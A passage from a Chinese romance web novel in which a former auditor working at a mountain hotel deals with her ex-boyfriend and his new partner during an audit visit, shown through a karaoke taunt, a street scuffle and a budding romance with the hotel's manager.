很快,审计团队入驻的日子就到了,正在忙日常的工作时,负责行政接待的阿依赶来叫沈清。
“沈清,审计的说车马上到南门。”
沈清赶忙去接人。走进院子,才发现外面已经下起了小雪。
黎乡近些年冬天都没怎么下过雪,这次也是让沈清赶上了。
沈清站在院子里,伸手抬头看去。雪非常小,打着旋儿飘下来。犹豫着,试探着,似是不肯落地。
突然,林薇的声音从门口方向传来:“沈清?”
沈清转头,看到了久日未见的曾经的饭搭子林薇。她似乎比从前瘦了一些,不知是工作压力还是来的路途太累,她气色看起来和以前的沈清一样,脸有点蜡黄,眼下还挂着黑眼圈。
“你怎么在这?”林薇的声音里充满了不可思议,“原来你说的去山里就是来这里旅居?”
“我在这里工作。”沈清微微一笑,指了指工装,准备慢慢解释。
林薇身后的商务车上陆续下来三个人。苏逸潇、唐小婉,还有一个沈清不认识的年轻男孩儿,戴着眼镜很斯文的样子。
院门口的狗对着那边警惕地叫了两声,沈清连忙蹲下抚摸阻止。
苏逸潇和唐小婉也是被惊的顿了脚步,只有戴眼镜的男生掂着行李穿过这一群表情莫名其妙还站着不动的人。
唐小婉突然上前,瞥了眼苏逸潇的表情,转脸用一种很标准化的微笑对沈清说:“沈清,你不是在京州吗?”
“不是啊,那天见到是我临时回去了一下。”
苏逸潇终于开口,却板着脸:“你在这里工作?可你不是跟那个有钱人谈着恋爱吗?他也愿意让你来这里工作?”
“他......”
唐小婉还没等沈清开口,继续插话:“上次咱们不是打听了吗,那人是环亚投资集团的长孙林牧野,以前爱玩的名声就传在外,天天纸醉金迷,现在啊,估计在京州陪另其他女朋友呢!”
苏逸潇撇头训她:“你别说话。”
这时,林牧野从沈清身后走来。
徐徐落下的小雪中,林牧野穿着黑色羊绒大衣走来。雪花落在他的头上、肩上还有睫毛上,如梦似幻,帅到一点都不真实。
他伸手和林薇握手,林薇眼睛都要看直了,两只手抓着林牧野的手,格外的紧。
苏逸潇和唐小婉见到他,脸色立马就变了。
林牧野听见了刚才的话,但他并没有任何不高兴,依旧稳重得体。
他先介绍起沈清:“这是我们的RevenueManager(收益管理经理)沈清。”
林薇听到这title(头衔),看看沈清,欣喜地点了点头。
沈清没太惊讶,他知道林牧野在给自己包装,好让自己在前同事面前不失面子。
然后,林牧野才向刚说过自己坏话的两人介绍自己:
“本人林牧野,是环亚投资集团副董事,兼任徒栖度假酒店总经理。另外说一点......本人已经3年没有在纸醉金迷的京州混了,在京州也没有其他女朋友。”
几秒内无人说话。
林薇扒着沈清的胳膊问:“你和林总在谈恋爱?”
“没有。”沈清赶忙回答,生怕说晚了林牧野又要开始飙演技,“那日见到苏逸潇和唐小婉,我们开了个玩笑。我们林总最排斥办公室恋情了。”
林牧野眼神黯淡了一瞬,显然对于沈清的澄清有点失望。但随即,他抬手招呼大家:“欢迎诚德审计入驻徒栖,下雪了,进去先办理入住吧。”
进到酒店内部,唐小婉使劲闻了闻,找林牧野搭话:“你们酒店香水味好好闻啊!是什么牌子?”
“是FlamingoEstate定制的Expansion,以泥土和花香为基调,核心是圣罗勒。”林牧野回答。
“是你选的吗?真的很有品味!”唐小婉丝毫不管旁边的苏逸潇,追着林牧野问。
“是集团统一找的供应商定制的。”
林薇从旁边经过,露出了嗤之以鼻的表情。
“301,302,303,304。WiFi密码在房间须知上,早餐七点开始。”木秀熟练地办理完入住,抬手指了下电梯方向,“上楼电梯在那边。”
沈清手里拿着早就打印好的资料,给审计团的四个人一人一份:“请大家先稍作休息,今天下午两点,我们在一楼会议室开始首次沟通会。请各位准时参加。”
她说完,过去帮林薇拿起箱子,送她去房间。
林薇又细细打量起沈清,发现她整个人看起来气色好得出奇,眼神也从之前在公司时的黯淡无光变得炯炯有神。
林薇斟酌着措辞:“你怎么来这么远的地方工作?”
沈清帮林薇刷开房间门,回答:“本来是想gap一年,来山里徒步放松。刚好看到这里招聘,想着五险一金不要断嘛,就应聘了房务员。”
林薇脚步顿住了,眼睛瞪得圆圆的:“房、房务员?铺床的?”
“嗯。”沈清语气平淡,“就是铺床。”
她走到床边,给林薇展示了下收床单,又很快铺好。动作麻利,一抖一展一叠,几秒钟就完成了全部动作。
“厉害啊,我的天!”林薇站在那儿,手里抱着的平板电脑差点滑下去。
林薇接着感叹:“你以前在诚德,头发总是绑着金色鲨鱼夹,穿着西装在会议室舌战群儒,霸气侧漏。跟现在气质完全不一样。
“以前戾气太重,说几句就想发火,我自己也控制不住自己。”
“但林总说你是RevenueManager?”
“可能是我们林总怕我在前男友面前丢份儿,给我安了一个莫须有的title。不过上次他倒是真有意设置这个岗位竞聘,问我有没有意向。”
“那你们的关系一定很好。”林薇满眼星星,“这样的领导真好,比宋总对你好多了。”
沈清附和道:“那可真是好太多了。林总是敞亮人,谁跟宋大头一样,头那么大,心眼那么小!”
说完,两个人哈哈大笑,仿佛又回到了上班时蛐蛐领导的时候。
笑完,林薇看沈清状态不错,才敢开口:“你对苏逸潇放下了吧?”
“那必须,不出来真不知道,这个世界还有这么多帅哥等着我们,是吧!”
林薇伸手指天:“我发誓不知道他和唐小婉搞一起了,我是来之前刚知道的。本来没有唐小婉,她非跟另一个本来定好的人换,我当时还奇怪,在飞机上才知道他俩成一对儿了。”
林薇神神秘秘凑近小声说:“我甚至怀疑他俩在你们分手前就有问题。”
沈清淡淡地说:“不重要了。”
沈清拉起林薇的手:“走吧!我带你在附近转转!这里的景色绝了!”
-
下午的会议由沈清主持,她详细地介绍了酒店目前的运营概况,相关数据和凭证都已按要求分类归档;内部也提前做了自查,梳理出的成本管控等相
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关记录也一并附上,方便大家核对;审计期间涉及的各部门负责人都已协调到位,随时可以配合访谈和现场核查。
“现在需要资料交接,我们酒店的财务报表、凭证台账、规章制度等基础文件在管理部阿依那里,咱们谁负责来和我去领下资料?”
苏逸潇站起身:“我是这次团队负责人,我和你去。”
说完两人就准备往外走。
突然,唐小婉冒出来一句“我也要去!”
苏逸潇听见后,看了眼沈清,没说话;还是林薇站出来阻止:“基础文件就几张纸,你是怕他拿不动,还是怕什么别的?”
唐小婉脸一阵红一阵白的,只得作罢。戴眼镜的男生推推眼睛,看不懂这几个人之间微妙的氛围。
去管理部办公室的路上,两人一前一后地走着。
跟在后面的苏逸潇看着沈清的背影,先开口说话:“沈清,我们还可以做朋友,对吗?”
沈清脚步顿了一下,但还是努力当做没受影响,头也没回地说:“算了吧,相忘于江湖也挺好。”
“你知道你的问题在哪里吗?”苏逸潇突然有点激动,“你总是很固执,觉得自己什么都对,没有一点人情味。”
沈清站定回头,第一次抬眼正视他:“我怎么了?”
“记得吗?刚进公司第二年,部门要拉拢宋总,组织了多少次聚餐?叫你去,你总是不去。后来你升了总监,跟管理层有矛盾。我跟你说过多少次?忍一忍,退一步,很多事就能解决。可你呢?非要当刺头,非要争个对错。你知不知道当时王副总是怎么看你?”
沈清耐心听他继续说。
“还有那些项目。我明里暗里提醒过你多少次?有些数据,可以适当‘调整’,是有弹性的。可你呢?一板一眼,眼里揉不得沙子,你知不知道你挡了多少人的路?最后被排挤、被架空的时候,我有没有劝过你?让你主动去找宋总和好,事情还有挽回的余地。”
沈清看着他,看了很久。然后,轻蔑地笑了一下。
“说完了?”她问。
苏逸潇胸口起伏,没说话。
“好,那我说。”沈清往前走了一步,两人之间只剩半米距离。她抬起头,目光直直看进他眼里,“你让我跟王副总那种靠关系上位、专业一塌糊涂的人‘同流合污’,我做不到。”
“你让我在审计报告里‘掺水分’,违反合规规定,对不起,那叫不尊重专业,不尊重客户,也是不尊重我自己。做我们这行,羽毛一旦脏了,就再也洗不干净。”
“至于你所谓的‘低头’,如果坚持原则、不做假、不站队就叫‘不低头’,那我宁愿一辈子都抬着头。”
苏逸潇的脸色白了。
“还有,苏逸潇,你有没有想过,为什么我们最后会走到这一步?”
她看着他眼底的慌乱,一字一句:
“是因为你变了。”
“你还记不记得,刚进公司培训的时候,你在新员工分享会上说过什么?你说,‘审计这行,良心是最后的底线。希望十年后回头看,我们都能问心无愧。’”
苏逸潇的嘴唇动了动。
“可现在呢?看看你这几年都做了什么。为了业绩,签那些明显有问题的客户;为了讨好上司,对违规操作睁一只眼闭一只眼;为了所谓的‘前途’,可以眼睁睁看着团队里的人被冤枉,一声不吭。”
她摇了摇头,眼底有明显的失望:
“苏逸潇,变得从来不是我。我一直都是这样努力工作,问心无愧。变的是你。是你一步步把自己活成了当初最讨厌的那种人。是你看我比你先一步升职,心态有了变化。”
9. 第 9 章
有客人经过,两人便停了对话,僵持站立着。
沈清突然从刚才的情绪中冷静过来,转身继续往办公室走。
她好不容易从之前乌烟瘴气的生活中逃出来了,今天又差点被苏逸潇带回之前的样子。
此刻的争辩没有任何意义了,一定要清醒,一定要冷静,沈清默默告诉自己。
几年都说不明白的事儿,今天又怎么会说清楚呢。
做好审计接待工作,让徒栖员工们的劳动成果真实漂亮地展现在审计报告上才是沈清当下的唯一目标。
有了这个想法后,沈清整个人轻松了不少。
第一天的工作比较简单,下班后,沈清带林薇去山下古城吃饭。
两人在一家老宅改造的小馆子吃了腊排骨火锅,回程时天已黑透。
和林薇在徒栖客房楼二楼告别,沈清走到自己房间门口时,感觉背后一种被注视的感觉。
她没有立刻回头,而是假装拨动钥匙,伺机而动。
“沈清。”
苏逸潇站在三步外的走廊阴影里。
“你晚上住这里?”
沈清见是苏逸潇,稍稍有点放心。她知道苏逸潇不会做什么太过出格的事。
“找我有事?”
“我......”苏逸潇往前迈了半步。
“晚上不用陪女朋友吗?”
听完这句,苏逸潇又停住,深吸一口气说:“白天的事情,是我冲动了。”
“没关系。只要以后公事公办,不谈私事,就行了。”沈清只想尽快结束这段对话,“早点休息吧。”
沈清开门进屋,苏逸潇却上前一步,手撑着门不让沈清关:“我......只是以朋友的身份关心一下,看你在这里住得好不好......”
沈清已经忍了好久,到此时,她已感受到被冒犯。
可男人死死撑着,沈清硬关门,门丝毫不动。
突然,隔壁房间的门开了。
林牧野站在门口,屋里的光从他身后漫出。
他目光幽幽,定定地看着苏逸潇,高大的身形有种压迫感。
“苏总监,查看员工宿舍,应该不在本次审计范围之内吧。诚德作为国内第四大审计公司,规定应该不会和其他公司不一样,对吗?”
他又走到沈清房门口,站在沈清和苏逸潇之间,将沈清挡在身后。
“如果您是出于个人特殊癖好非要参观别人卧室的话......”他侧身指了指自己敞开的房门,“我的房间可以借您参观。格局一样,东西还少,看得更清楚。”
苏逸潇的脸色在昏暗的光线里变了变,最后终于不再坚持:“我没有恶意,只是刚好路过。我走了,晚安。”
林牧野看着苏逸潇走远,才挪了站位。他回到自己房门口,摇了摇头调侃沈清:“你以前的择偶标准真令人费解。”
沈清叹了口气:“谁还没有点黑历史呢!”
这晚,沈清没有睡好,不知为何,现在沈清的工作已经不是审计了,但她却仍然心神不宁的。
看来压力不在于工作,而是在于和谁工作。
第二天早餐时间。
唐小婉走进餐厅时,连正在盛粥的那个诚德的眼镜男孩儿都忍不住多看了她两眼。
她显然是精心打扮过,妆容比往日浓了至少三个度,假睫毛贴得很浓密,近距离看起来有点太过夸张。
她还穿了针织连衣裙。在这种需要搬运审计资料的工作日,显得不合时宜。
陈春梅正在引导早餐客人找位置,看见唐小婉这身打扮,连忙夸奖:“今天是有什么活动吗?打扮的真漂亮!”
“没有啊,”唐小婉声音娇滴滴,“我平时也是这么打扮的。”说着,她喝了一口咖啡,特别注意口型地吞着,生怕蹭掉口红。
早餐后,审计组需要将凭证资料搬到会议室。还有些有可能用到的年代久远的凭证,纸箱子堆了半间屋子。
苏逸潇和戴眼镜的男生已经搬走几个。林牧野也挽起袖子,正要搬起一箱,唐小婉突然闪现,掂起林牧野要搬的箱子的另一边,甜甜一笑说:“这箱好沉呀,我们一起抬吧!”
林牧野见是她,突然站起身,不搬了。唐小婉疑惑,继续做出使劲儿的样子,歪着头声音软软:“我怎么都搬不动呢~”
林牧野一副早已看透的表情,转身去到更远处搬了另一个箱子,只剩唐小婉呆在原地尴尬。
沈清目睹了一切,上前面无表情地搬起唐小婉手中的箱子,转身就轻松地往外走。
唐小婉僵在原地,脸上的笑容一点点垮掉。
她咬着嘴唇揉了揉因今天刚换的高跟鞋走路有点累的脚踝,站起身拍了拍沾了灰的双手,小声喃喃自语:“你们搬吧,反正老娘不搬。”
每日的餐食,审计公司员工是跟着酒店员工吃工作餐的,每天都在有一个12人大圆桌的房间进餐。
这晚,圆桌的座位已经所剩无几,最后不得已,沈清坐在了林牧野和苏逸潇中间,苏逸潇的旁边还坐着唐小婉。
还是林薇察觉到了沈清的不便,她主动要求和沈清换位置。
沈清知道林薇是好心,可是如此大动静地换位置,即便本来就没什么,也会被觉得此地无银三百两,于是拒绝了林薇的好意。
沈清来的有点晚,今天的硬菜烤羊排是按人头给的,还剩最后一个孤零零地摆在盘子上。福光叔上菜时候,桌子几乎没有多余地方了,他便大声问:“这最后一块羊排是谁的?赶快拿走。”
“是沈清的。”苏逸潇条件反射似的脱口而出。
随即,沈清余光看到唐小婉在桌下的手猛捶了苏逸潇大腿一下。
沈清回过神,正准备把羊排夹过来,就见林牧野已经起身将盘子端来,等待沈清夹到自己盘子里。
菜上齐后,大家其乐融融地说着话聊着天,感觉徒栖和诚德的员工很能说到一起去。
卓玛心血来潮,把活动室的移动KTV推来,想让大家唱歌。
她自己先点了一首藏语民歌。音乐响起时,卓玛握着麦克风,闭上眼睛,歌声清亮高亢。一曲终了,掌声热烈。
“卓玛你可以去参加好声音了!”有人兴奋地喊。
卓玛不好意思地挠头,把麦克风递出去:“谁来?”
唐小婉几乎是立刻举起了手:“我来试试!”
她接过麦克风,目光状似无意地扫过沈清,在点歌屏上点了王菲的《我愿意》。
她开口时,声音模仿了王菲那种空灵的唱腔,以前聚餐时沈清就听过,她的确唱得很好。
但沈清的脸很黑。苏逸潇当年在公司就是当众唱了这首《我愿意》,然后向沈清表白的。当时全公司都在起哄,沈清红着脸接受了苏逸潇那束玫瑰
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。
唐小婉不可能不知道。她就是故意的。
一曲唱完,不知情的众人掌声热烈。唐小婉脸颊微红,谦逊地低头,嘴角却难压。她成了此刻的焦点。
沈清麻木地和众人一起鼓掌,装作无事。唐小婉走过去,将麦克风递到沈清面:
“沈清,你也来一首吧?好久都没听你唱过歌了呢。”
话音落下的瞬间,沈清的脸彻底黑了。
沈清唱歌不好。不是普通的不好听,是找不到调。以前公司团建,她永远只坐在角落里鼓掌,打死不肯碰麦克风。
这一点唐小婉也绝对清楚。
“我不会唱歌。”沈桌下的手指已经蜷缩起来。不是不好意思,是想揍人。
“哎呀,唱一首嘛!”唐小婉不依不饶,把麦克风又往前递了递,“大家都唱了,沈清姐别扫兴呀。”
不明就里的众人也跟着起哄:“沈清,来一个!”
压力全在沈清这边。
她看着眼前那支麦克风,忽然笑了,笑得让唐小婉心里莫名一紧。
“好。”沈清接过麦克风,站起身,“我唱。”
她走到点歌屏前,背对众人手指在屏幕点来点去。
屏幕出现歌曲名字的瞬间,所有人都愣住了。
《王八蛋》三个字赫然出现。
沈清转过身,单手插在口袋里,另一只手握着麦克风。
她在众人诧异的目光中开始唱:
“把你的快乐建在我的痛苦上
当我在哭的时候你坐在那边笑
你这个没有心的王八蛋
你忌妒我的车子就是比你ㄆㄚ
你笑我考试考得比你差
你吃不到你又特别哈
你会有一天后悔
不要得意你会后悔
我的心好像有颗大的石头
我的头好像原子弹要爆炸
我的梦好像破了洞的气球
我真的好倒霉
你会有一天后悔”
沈清音准依然有点飘,但更绝的是她的演绎。
她眉毛轻挑,前后摇摆,嘴角挂着一丝似笑非笑的弧度,整个人透着一股“我就是在瞎唱但你能拿我怎样”的感觉。
唱到副歌时,甚至往高处举起麦克风,声音陡然拔高:
“王八蛋。
王八蛋。”
她还突然把麦克风猛地往前一递,正对着苏逸潇的嘴:
“你也唱啊!”
苏逸潇被她的操作搞脸瞬间涨红。
他知道沈清在骂他。
用这种令谁都没想到的方式。
而坐在沈清旁边的林牧野终于忍不住,喷了。
“噗!”
他刚喝进嘴的一口汤,全喷了出来。
他手忙脚乱地去抓纸巾,一边咳一边擦,肩膀因为强忍笑意而剧烈抖动。
沈清仍是忘我地唱着,结尾没有歌词的地方还重复着:
“王八蛋。王八蛋。王八蛋......”
苏逸潇一直低着头,盯着桌面,耳根红到不行。
就在音乐停止,众人互相看颜色的时候,那个一直很安静、戴着黑框眼镜的诚德的男孩儿突然站起来大力鼓掌。
他推了推眼镜,看着沈清,难掩钦佩之情伸出了大拇指:
“沈清姐,牛掰!”
10. 第 10 章
唱完这首陶喆的《王八蛋》,沈清就弃美食而不顾地跑了。
她真想让时间跳转到审计完成后,一点也不想再和苏逸潇有任何纠缠了。
自那天的“一唱封神”出名后,不明就里的众人也隐隐约约觉察到了什么,大家都心照不宣地好好干活,没人再提他们之间的关系的事儿。
转眼就到了进行收尾工作的日子。
审计工作其实任务很重,看看四个人在会议室的办公桌堆成山的资料和乱如麻的电脑设备线就能感觉出来。
沈清这几天一直帮忙在前台PMS系统调取记录,将相应的采购合同从档案盒里扒出来,手被锋利的纸张划伤好几次。
这天上午,因一笔财务审批数据有疑点,唐小婉跟着林牧野去他的电脑上调取佐证资料。
唐小婉依旧打扮的明艳靓丽,林牧野在电脑上找资料时,她就那么直直地盯着他看。
“林总,上次见你后,我跟人打听你,发现我们很久之前就见过。你不记得我了吗?”
“我们以前见过?”林牧野将目光从屏幕移向眼前人。
“5年前,京州的188Club,你和冯天瑞他们一起。”
林牧野将找到的资料发送打印指令,站起身走到打印机前说:“想起来了,你是他们说的那个非要蹭我们兰博基尼车主聚会的。”
唐小婉一听,脸都气白了,按耐着火气继续说:“我们家条件也不差,也是朋友邀请我的。”
“曾经跟我一个酒局的水平,怎么还委身当小三呢?”
此话一出,唐小婉炸了:“我没有介入苏逸潇和沈清的感情!是不是沈清在你面前污蔑我了?”
林牧野将刚打出来的纸张在桌上磕齐,拿着订书机重重的一压:“唐小姐不要此地无银三百两,我谁的名字都没有提呢。”
唐小婉见说不过林牧野,开始岔开话题:“我们都是京州的,交际的圈子也有重叠,不如加个微信,以后多个朋友。”
“不必了,我以后大概率不会回京州。”
“你既然没有和沈清恋爱,我们有什么不能加微信的?”唐小婉不达目的不罢休。
“和她无关,是我自己不想加。”林牧野拿起订好的资料给唐小婉,“麻烦来核对。”
唐小婉抽出林牧野手中的资料,冷笑一声:“沈清只是暂时在这里过渡,她将来肯定会离开,你何苦对她如此上心!”
林牧野并不想理会她,沉着脸没说话。
“当然,如果她知道你身上还背着一条人命,不知会对你怎么想呢?”唐小婉讥讽着,林牧野的冷静与无视让她不顾后果。
林牧野听完,神色僵硬。
继而,他眼睛里如着火般怒视唐小婉,努力保留着最后一丝理智:“你如果还不来核对,就请出去。”
终于,唐小婉不甘地去到林牧野的电脑前和手里的纸质资料对照,确认无误后,起身向门口走去。
“有件事还是需要告诉你一下。”
林牧野在她走出门前,忽然说。
唐小婉扭头,好奇他要说什么。
“我是很喜欢沈清。”
他一字一句认真地说。
“我也了解她。如果难受了,她会离开不快乐的源头,去做任何让自己快乐的事情,去到任何让自己更快乐的地方。如果她离开,我支持她。”
唐小婉只是静静地听着。
“也希望你不要再拘泥于男女之情,把身边搞的乌烟瘴气了。建议你审计结束,去看看黎乡的壮美景色。希望你跳出狭隘,看到更广阔的存在。”
唐小婉嫉妒林牧野对沈清深厚而宏大的感情,她甚至不明白为何沈清越是不在意他,他却越为她说话。
林牧野的话令她感到羞愧,她惊觉自己只是一个小丑,蹦来蹦去地出尽洋相,却始终蹦不上去,看不到别人看到的高度。
审计的最后一天下午,林牧野听取了诚德的初步审计结果,进行了最后的沟通确认。
苏逸潇和唐小婉后几天都很安静,不再作妖了。
沈清和诚德的戴眼镜男孩成了好朋友,临走前,这个叫周俊的男生跟她吐槽:“实习结束,我就准备离开诚德。这里的人没有我想象中的那种专业负责的工作态度,下一步还是准备申请四大试试,毕竟人家各方面的水准还是会高一些。”
“我支持你。”沈清拍拍他肩膀。
沈清也和林薇拥抱告别,毕竟两人知道也许以后没有机会再见面。沈清十分感激自己年华里最青春美好的那几年,有林薇陪伴。
送走审计团队,沈清如释重负,把会议室因为审计而并起来的桌子归回原位后,找到林牧野。
“林总,如果陈经理同意,你是不是也没有理由拒绝我请假几天休息休息?”沈清眨着大眼睛,期待地看着刚下班走出办公室的林牧野,“我真的急需一场徒步旅行散散心。”
“有理由拒绝。”
“啊?”沈清被这直白的回答吓一跳,以为自己没听清。
“RevenueManager,营收创新项目急需你的调研,你也下班了吧?随我走一趟,我与你细细道来。”
林牧野声音温柔,推着沈清的肩膀就往外走。
结果就是,两人又来到古城里吃了顿烧饵块。
那家烧饵块的摊子正冒出白蒙蒙的蒸汽,米香混着炭火气,暖烘烘地扑在脸上。
摊主是个白族阿嬷,花白的头发盘成髻,看见林牧野就笑起来:“小林来啦?还是老样子吗?”
突然看到身边跟着个姑娘,阿嬷连忙改口:“是老样子,但是来两份,对吗?哈哈!”
“嗯,两份。”林牧野熟门熟路地在摊子旁的小马扎上坐下,又指了指旁边的空位,“坐。”
她坐下,发现凳子很矮。她又看看林牧野,无处安放的大长腿蜷起来,样子很搞笑。
林牧野毫不在意。他接过阿嬷递过来的饵块卷,因为烫,还贴心要了卫生纸卷在外面,防止沈清的手被烫到。
沈清谢过林牧野,咬下去第一口是脆,然后是糯,腐乳的咸辣在舌尖交织,热腾腾地熨帖着胃。
“好吃。”她由衷地说。
林牧野开口:“徒栖的RevenueManager小姐,可否请你跟我一起调研,看看奢华酒店还能搞哪些新营收项目。”
“比如动物农场什么的。不光是喂鸡喂羊,可以做成亲子互动。再比如山地自行车骑行路线,跟专业机构合作,提供装备和向导。”他顿了顿,“还可以跟周边的景点联合,开发‘一日游’,把客源引流出去,也把外面的游客带进徒栖。”
“想法很好。”沈清实话实说,“这些项目有市场潜力,也能增加客户粘性。如果需要,我可以配合调研和做数据分析。”
“那就行。”
沈清又想起什么似的:
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“不过......”
“不过什么?”
“你就这么给我这个职务,有点不妥吧,酒店里其他人万一有想要做这个工作的怎么办?”沈清有点担心。
“没关系,调研之后,你整理资料,写报告,做个PPT,然后,给酒店全体员工做一次汇报演讲。”
沈清惊住了:“怎么后面还有这么多事儿?”
“到时候,用你的数据、你的逻辑、你的方案说话。”林牧野倒是信心满满,“我相信你能做好。做得好,就没人会不同意让你负责。”
“行,我接。这么复杂的活儿,估计除了我也没人想接!”
沈清入戏很快,已经开始观察着古城街旁的各种小店,偶尔说的一句设想,还能给出一个意想不到的角度。
两人吃完,古城的夜正热闹,他们并肩而走。沿街的酒吧传出民谣吉他声,扎染铺子还没打烊,老板坐在门口抽水烟筒。游客三三两两,举着手机拍夜景。
突然,在一个路口,他们撞见了最不该遇见的人。
苏逸潇靠在一家烧烤店的门旁,领带扯松了,西装外套搭在臂弯,手里还拎着个几乎空了的酒瓶。而唐小婉站在他旁边,脸色难看,正试图拉他离开。
“你们怎么还没走?”沈清问唐小婉。
唐小婉看了眼林牧野,回答沈清:“想着好不容易来趟黎乡,看看明天日照金山再走,今晚就先住古城。”
看见沈清和林牧野,苏逸潇混沌的眼睛瞬间聚焦。他直起身,摇摇晃晃地往前走了两步,堵在两人面前。
“哟,”他口气里带着浓重的酒气,“这不是我们沈总监吗?哦不,现在是沈经理了。”
他目光在沈清脸上停了停,又转到林牧野身上,无赖一笑:“林老板也在啊。怎么,下班了还形影不离?”
林牧野喉结滚动,没有说话。
路过的游客放慢了脚步,好奇地张望。
苏逸潇突然放大声音:“你们两个宿舍住那么近,是不是晚上都睡一个被窝了?”
唐小婉脸色煞白,用力拽苏逸潇的手臂:“苏逸潇!你喝多了!闭嘴!”
“我说错了吗?”苏逸潇甩开她,指着沈清,“以前在公司装得那么清高,结果呢?看见有钱的、单身的老板,自己还不是巴巴地追到山里来了!”
他往前凑,酒气喷在沈清脸上:“跟我死活不愿意,跟他献身献得挺快啊?”
“还好,这是在酒店以外的地盘。”话音落下的瞬间,林牧野挥起拳头就要打苏逸潇,下颌线的咬肌绷成一道凌厉的弧线,“我终于可以无所顾忌地打你了。”
周围已经有人摸出手机,唐小婉吓得捂住了嘴。
“等等。”沈清在旁按住了他的手。
她看着苏逸潇,用尽鄙夷的眼神,然后很轻地笑了一声:“打你,脏了他的手。但我有他的把柄,他不敢把我怎么样。”
沈清深吸一口气,抡起了拳头。不是那种花拳绣腿,是结结实实的一拳,砸在苏逸潇脸上。
苏逸潇甚至没来得及惨叫,整个人向后踉跄,撞在烧烤店的门板上,然后软软地滑坐在地。鼻血瞬间涌出来,糊了半张脸。他捂着脸,蜷在地上,发出痛苦的呜咽。
唐小婉看着地上狼狈不堪的苏逸潇,终于瑶瑶头:“苏逸潇,你可真丢人!”
最后,剩下瞠目结舌的林牧野,对沈清的敬佩之情从心底油然而生。
11. 第 11 章
帮唐小婉把苏逸潇送回酒店,再从那条灯火通明的商业街走出来时,夜已经深得能看见星星了。
大多数店铺打了烊,只有酒吧还亮着暧昧的灯,传出驻店乐队的吉他声。
月光映出两人的影子,晚风凉丝丝地灌进沈清领口,她忍不住打了个颤。
“冷吗?”林牧野声音温柔。
“有点。”
林牧野深情凝望着沈清,看她鼻头冻得泛红。
但皮肤白皙的沈清经昏暗灯光晕染,显得格外灵动美艳。
“谁让你穿那么少!”林牧野回过神,捶了她肩膀一拳。
好吧,刚刚的凝望还让沈清自以为是的在期待着什么。现在看来,两人都属于浪漫绝缘体。
两人又沉默地走了一段,背景里玉龙雪山在深蓝天幕下巍峨挺立。
而此刻,在那片本应漆黑一片的山脊线下,竟亮着一点微弱的光。橘黄色,像天穹的星星不小心遗落了一颗。
“林牧野,你看。”沈清停下脚步,指着远处,“山上怎么有光?”
林牧野走到她身侧,顺着她指的方向望去。月光落在他侧脸上,勾勒出清晰的下颌线。他看了几秒,才开口:
“是帐篷的灯。”
“有人住在上面?”
“对。徒步的人,会在海拔合适的平台扎营过夜,但山上非常冷,睡袋起码要1000g的。去那里的路上还有流沙坡,走两步滑一步,很难走。”
沈清仰着头,眼睛亮晶晶的:“我还没上去过。来了这么久,光顾着工作……”
林牧野打断她:“上面其实没什么,还不如在甘海子露营看日出。而且玉龙雪山的天气,翻脸比翻书快。上午还是晴空万里,下午就能起暴风雪。”
沈清十分同意地点点头:“我知道,要对大自然有敬畏之心。”
“你不是专业登山者,没必要冒这个险。真想看雪山,山下的牦牛坪、云杉坪转转就行。风景不差,安全。”
“你真的很懂,你以前也徒步吗?”沈清问他。
林牧野沉默不语。
直到沈清好奇地看向他,他才接着说:“那你呢,为什么这么喜欢徒步?自己在京州附近用两步路搜个没这么高难度的练练就行了,还专门来滇南。”
“徒步只有一次和一万次。”沈清似是在回忆,“我和苏逸潇以前总徒步。那时单位有几个人报名喜马拉雅植物王国环保挑战赛,徒步同时捡垃圾,大家觉得很有意义。
山路很难走,苏逸潇却一直走在我身边,既不会让我掉队,也不会觉得吃力。
后来因为工作忙了,压力也大,总想找机会发泄。觉得徒步又健康又能磨练人意志,是很好的爱好。
当你进到山里,手机没什么信号,几小时不用跟外界交流,才能更强烈地感受到人和自然的连接。”
“所以你体格挺好,劲儿大。看来都是锻炼出来的。”
“林总,你这听着就不像是在描述一个女孩子!”沈清伸手就想打林牧野。
林牧野一个躲闪,跑在了前面,边跑边回头说:“把徒栖当终点,看谁先到,来啊!跑起来啊!”
沈清看路上并没有什么人,跳跃着奔跑,肆意的享受着夜风掠过。
可不过五百米,沈清的呼吸骤然乱了。
胸口像被无形的手攥紧,肺部仿佛只能吸进60%的空气。
她踉跄着停下,双手撑住膝盖,大口喘息,耳畔轰鸣声响起。
“沈清?”
林牧野立刻回到她身前,蹲下来视线与她齐平。月光照亮他紧皱的眉心,和因担心而苍白的脸。
他伸出手帮指挥沈清有节奏的深呼吸,一只手虚虚护在她背后,“慢点呼吸,别急。”
沈清摇了摇头,眩晕感袭来,身体已经不太受控制了。
下一秒,林牧野已将她打横抱起。
林牧野转身便朝来时的方向折返,沈清靠在他怀里,能清晰听见他的心跳,是那么有力。
古城商业街还有店家营业,林牧野抱着她拐进一条窄巷,进了一家亮着“制氧机”灯牌的小店。
裹着军大衣打盹的老爷子被两人的动静惊醒,揉着眼从柜台后摸出个蓝色便携氧气瓶。
“麻烦快点。”林牧野语速急促。
沈清眼前阵阵发黑,身体不由自主地往下滑。林牧野立刻伸手扶住她,让她靠在自己肩上。
她半倚着他,他半靠着椅子,两人的高度差让她的头恰好枕在他肩窝处,厚实而温暖。
当清凉的气流终于通过鼻腔涌入胸腔,沈清的视线慢慢地重新聚焦。
他就那么盯着她,直到她呼吸逐渐平稳,才极轻地吐出一口气。
沈清看见林牧野额头闪闪亮,竟在这寒冬腊月出了汗。
虽然沈清感觉已无大碍,但她不想那么快就说。这近在咫尺的、属于他的气息和温度,沈清不想离开。
于是她又闭起眼,放慢了呼吸的节奏。氧气瓶里剩余的气体,原本三分钟就能吸完,她硬是拖到很久。
林牧野仍保持着原来的姿势坐着,时不时侧脸看看沈清。
终于,沈清坐直起来。
“好些了?”林牧野第一时间关心地问,声音有些干涩。
“嗯。”
林牧野伸手扶她站起:“你可吓死我了。”
沈清搭上那只手,借力站起。
“回徒栖开我车去,送你去医院再检查下比较安心。”他说。
“不用。”沈清摇头,“我好了,我自己身体自己知道,只是有点没力气。”
林牧野沉默地审视她几秒,忽然转身,在她面前蹲下。
“上来,我背你。”
沈清愣了愣。
林牧野看她没反应,身体向后退,手臂向后护着沈清就将她背起。
他慢慢起身,双手托住她腿弯。石板路在脚下向后移,沈清将脸埋在他肩颈处,贪婪地享受着这一刻的美好。
回到徒栖,林牧野背着她,到了房门口才轻轻放下。
“钥匙。”他伸手。
沈清从口袋摸出钥匙,递给他。
林牧野接过,开门,按亮顶灯。
“自己能行吗?”他站在门口,手仍扶在她胳膊旁。
“能。”沈清罕见的有点不好意思,点点头。
